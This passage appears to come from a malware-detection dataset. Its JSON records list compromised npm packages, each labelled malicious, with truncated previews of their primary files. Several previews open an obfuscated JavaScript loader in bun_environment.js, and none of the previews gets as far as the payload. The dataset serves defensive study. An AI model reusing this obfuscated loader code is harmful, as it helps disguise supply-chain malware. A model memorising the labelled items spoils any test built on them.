n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpldiet18l/@art-ws-web-app/package/bundle.js", "tmp/tmpldiet18l/@art-ws-web-app/package/dist/fastify/fastify-web-context.adapter.js", "tmp/tmpldiet18l/@art-ws-web-app/package/dist/open-api/index.html.js", "tmp/tmpldiet18l/@art-ws-web-app/package/dist/views/nunjucks/nunjucks.view-renderer.js", "tmp/tmpldiet18l/@art-ws-web-app/package/dist/fastify/fastify-web-app.js", "tmp/tmpldiet18l/@art-ws-web-app/package/dist/fastify/fastify-providers.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@http-server", "version": "2.0.21", "filename": "2025-09-15-@art-ws_http-server-v2.0.21.zip", "primary_file": "tmp/tmps017qamp/@art-ws-http-server/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmps017qamp/@art-ws-http-server/package/bundle.js", "tmp/tmps017qamp/@art-ws-http-server/package/package.json", "tmp/tmps017qamp/@art-ws-http-server/package/dist/es/router.js", "tmp/tmps017qamp/@art-ws-http-server/package/dist/es/types.js", "tmp/tmps017qamp/@art-ws-http-server/package/dist/es/di-tokens.js", "tmp/tmps017qamp/@art-ws-http-server/package/dist/es/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@fastify-http-server", "version": "2.0.24", "filename": "2025-09-15-@art-ws_fastify-http-server-v2.0.24.zip", "primary_file": "tmp/tmp5772aoq5/@art-ws-fastify-http-server/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmp5772aoq5/@art-ws-fastify-http-server/package/bundle.js", "tmp/tmp5772aoq5/@art-ws-fastify-http-server/package/dist/es/fastify-http-server.js", "tmp/tmp5772aoq5/@art-ws-fastify-http-server/package/package.json", "tmp/tmp5772aoq5/@art-ws-fastify-http-server/package/dist/es/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@art-ws@prettier", "version": "1.0.5", "filename": "2025-09-15-@art-ws_prettier-v1.0.5.zip", "primary_file": "tmp/tmpynniorl9/@art-ws-prettier/package/bundle.js", "diff_preview": "/*! For license information please see bundle.js.LICENSE.txt */\nimport{createRequire as __WEBPACK_EXTERNAL_createRequire}from\"node:module\";var __webpack_modules__={1:(t,r,n)=>{n.r(r),n.d(r,{isRedirect:()=>isRedirect});const F=new Set([301,302,303,307,308]),isRedirect=t=>F.has(t)},50:(t,r,n)=>{n.r(r),n.d(r,{isWebIdentityProfile:()=>isWebIdentityProfile,resolveWebIdentityCredentials:()=>resolveWebIdentityCredentials});var F=n(51542);const isWebIdentityProfile=t=>Boolean(t)&&\"object\"==typeof t&&\"string\"==typeof t.web_identity_token_file&&\"string\"==typeof t.role_arn&&[\"undefined\",\"string\"].indexOf(typeof t.role_session_name)>-1,resolveWebIdentityCredentials=async(t,r)=>Promise.resolve().then(n.bind(n,90994)).then(({fromTokenFile:n})=>n({webIdentityTokenFile:t.web_identity_token_file,roleArn:t.role_arn,roleSessionName:t.role_session_name,roleAssumerWithWebIdentity:r.roleAssumerWithWebIdentity,logger:r.logger,parentClientConfig:r.parentClientConfig})().then(t=>(0,F.setCredentialFeature)(t,\"CREDENTIALS_PROFILE_STS_WEB_ID_TOKEN\",\"q\")))},71:(t,r,n)=>{n.r(r),n.d(r,{STSClient:()=>STSClient,__Client:()=>le.Client});var F=n(81095),te=n(50165),re=n(30170),ne=n(44130),oe=n(61329),ie=n(40033),se=n(70649),ae=n(72540),ce=n(41069),le=n(31796),ue=n(64159),de=n(47207),pe=n(34270),ge=n(15354);class STSClient extends le.Client{config;constructor(...[t]){const r=(0,pe.getRuntimeConfig)(t||{});super(r),this.initConfig=r;const n=(0,de.resolveClientEndpointParameters)(r),le=(0,ne.resolveUserAgentConfig", "files": ["tmp/tmpynniorl9/@art-ws-prettier/package/bundle.js", "tmp/tmpynniorl9/@art-ws-prettier/package/package.json", "tmp/tmpynniorl9/@art-ws-prettier/package/.prettierrc.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "02-echo", "version": "0.0.7", "filename": "2025-11-24-02-echo-v0.0.7.zip", "primary_file": "tmp/tmp3q_od1s5/02-echo/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp3q_od1s5/02-echo/package/bun_environment.js", "tmp/tmp3q_od1s5/02-echo/package/setup_bun.js", "tmp/tmp3q_od1s5/02-echo/package/package.json", "tmp/tmp3q_od1s5/02-echo/package/lib/echo.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-native-devtools", "version": "0.1.3", "filename": "2025-11-24-@actbase_react-native-devtools-v0.1.3.zip", "primary_file": "tmp/tmpc7kyvv2q/@actbase-react-native-devtools/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpc7kyvv2q/@actbase-react-native-devtools/package/bun_environment.js", "tmp/tmpc7kyvv2q/@actbase-react-native-devtools/package/lib/assets/index.js", "tmp/tmpc7kyvv2q/@actbase-react-native-devtools/package/lib/components/TreeView/index.js", "tmp/tmpc7kyvv2q/@actbase-react-native-devtools/package/lib/tools/AxiosLog.js", "tmp/tmpc7kyvv2q/@actbase-react-native-devtools/package/lib/tools/DeviceInfoView.js", "tmp/tmpc7kyvv2q/@actbase-react-native-devtools/package/lib/components/ToolView/ToolContent.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@actbase@react-native-tiktok", "version": "1.1.3", "filename": "2025-11-24-@actbase_react-native-tiktok-v1.1.3.zip", "primary_file": "tmp/tmpmkdxsk2u/@actbase-react-native-tiktok/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpmkdxsk2u/@actbase-react-native-tiktok/package/bun_environment.js", "tmp/tmpmkdxsk2u/@actbase-react-native-tiktok/package/setup_bun.js", "tmp/tmpmkdxsk2u/@actbase-react-native-tiktok/package/package.json", "tmp/tmpmkdxsk2u/@actbase-react-native-tiktok/package/src/index.js", "tmp/tmpmkdxsk2u/@actbase-react-native-tiktok/package/src/response.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@avro-schema-parser", "version": "3.0.26", "filename": "2025-11-24-@asyncapi_avro-schema-parser-v3.0.26.zip", "primary_file": "tmp/tmp3ix92oob/@asyncapi-avro-schema-parser/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp3ix92oob/@asyncapi-avro-schema-parser/package/bun_environment.js", "tmp/tmp3ix92oob/@asyncapi-avro-schema-parser/package/cjs/index.js", "tmp/tmp3ix92oob/@asyncapi-avro-schema-parser/package/esm/index.js", "tmp/tmp3ix92oob/@asyncapi-avro-schema-parser/package/setup_bun.js", "tmp/tmp3ix92oob/@asyncapi-avro-schema-parser/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@accordproject@template-engine", "version": "2.7.2", "filename": "2025-11-24-@accordproject_template-engine-v2.7.2.zip", "primary_file": "tmp/tmpbapohwgv/@accordproject-template-engine/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpbapohwgv/@accordproject-template-engine/package/bun_environment.js", "tmp/tmpbapohwgv/@accordproject-template-engine/package/dist/index.js", "tmp/tmpbapohwgv/@accordproject-template-engine/package/setup_bun.js", "tmp/tmpbapohwgv/@accordproject-template-engine/package/package.json", "tmp/tmpbapohwgv/@accordproject-template-engine/package/dist/worker.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@keeper", "version": "0.0.3", "filename": "2025-11-24-@asyncapi_keeper-v0.0.3.zip", "primary_file": "tmp/tmpap8pqzg5/@asyncapi-keeper/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpap8pqzg5/@asyncapi-keeper/package/bun_environment.js", "tmp/tmpap8pqzg5/@asyncapi-keeper/package/setup_bun.js", "tmp/tmpap8pqzg5/@asyncapi-keeper/package/src/index.js", "tmp/tmpap8pqzg5/@asyncapi-keeper/package/test/index.test.js", "tmp/tmpap8pqzg5/@asyncapi-keeper/package/package.json", "tmp/tmpap8pqzg5/@asyncapi-keeper/package/src/utils.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@aryanhussain@my-angular-lib", "version": "0.0.23", "filename": "2025-11-24-@aryanhussain_my-angular-lib-v0.0.23.zip", "primary_file": "tmp/tmpqeros6l9/@aryanhussain-my-angular-lib/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpqeros6l9/@aryanhussain-my-angular-lib/package/bun_environment.js", "tmp/tmpqeros6l9/@aryanhussain-my-angular-lib/package/setup_bun.js", "tmp/tmpqeros6l9/@aryanhussain-my-angular-lib/package/package.json"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@diff", "version": "0.5.1", "filename": "2025-11-24-@asyncapi_diff-v0.5.1.zip", "primary_file": "tmp/tmpi2en0non/@asyncapi-diff/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return 